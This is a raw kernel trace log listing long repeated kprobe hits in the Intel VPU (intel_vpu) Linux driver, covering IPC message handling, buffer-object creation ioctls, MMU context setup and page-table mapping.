+kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_irq_handler +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_addr_get +kprobe:intel_vpu:ivpu_ipc_msg_dump +kprobe:intel_vpu:ivpu_hw_ip_ipc_rx_count_get +kprobe:intel_vpu:ivpu_ipc_receive +kprobe:intel_vpu:ivpu_ipc_rx_msg_del +kprobe:intel_vpu:ivpu_ipc_consumer_del +kprobe:intel_vpu:ivpu_hw_ip_irq_clear +kprobe:intel_vpu:ivpu_hw_irq_enable +kprobe:intel_vpu:ivpu_hw_ip_irq_enable +kprobe:intel_vpu:ivpu_hw_btrs_irq_enable +kprobe:intel_vpu:ivpu_ipc_enable +kprobe:intel_vpu:ivpu_cmdq_release_all_locked +kprobe:intel_vpu:ivpu_bo_unbind_all_bos_from_context +kprobe:intel_vpu:ivpu_mmu_context_fini +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_open +kprobe:intel_vpu:ivpu_mmu_context_init +kprobe:intel_vpu:ivpu_open +kprobe:intel_vpu:ivpu_mmu_context_init +kprobe:intel_vpu:ivpu_postclose +kprobe:intel_vpu:ivpu_ms_cleanup +kprobe:intel_vpu:ivpu_file_priv_put +kprobe:intel_vpu:ivpu_cmdq_release_all_locked +kprobe:intel_vpu:ivpu_bo_unbind_all_bos_from_context +kprobe:intel_vpu:ivpu_mmu_context_fini +kprobe:intel_vpu:ivpu_pgtable_free_page +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_get_param_ioctl +kprobe:intel_vpu:ivpu_bo_create_ioctl +kprobe:intel_vpu:ivpu_gem_create_object +kprobe:intel_vpu:ivpu_gem_bo_open +kprobe:intel_vpu:ivpu_bo_alloc_vpu_addr +kprobe:intel_vpu:ivpu_mmu_context_insert_node +kprobe:intel_vpu:ivpu_bo_info_ioctl +kprobe:intel_vpu:ivpu_submit_ioctl +kprobe:intel_vpu:ivpu_file_priv_get +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_pgtable_alloc_page +kprobe:intel_vpu:ivpu_pgtable_alloc_page +kprobe:intel_vpu:ivpu_pgtable_alloc_page +kprobe:intel_vpu:ivpu_pgtable_alloc_page +kprobe:intel_vpu:ivpu_mmu_cd_set +kprobe:intel_vpu:ivpu_mmu_cdtab_entry_set +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_invalidate_tlb +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_mmu_cmdq_sync +kprobe:intel_vpu:ivpu_mmu_cmdq_cmd_write +kprobe:intel_vpu:ivpu_bo_pin +kprobe:intel_vpu:ivpu_mmu_context_map_sgt +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_pgtable_alloc_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page +kprobe:intel_vpu:ivpu_mmu_context_map_page 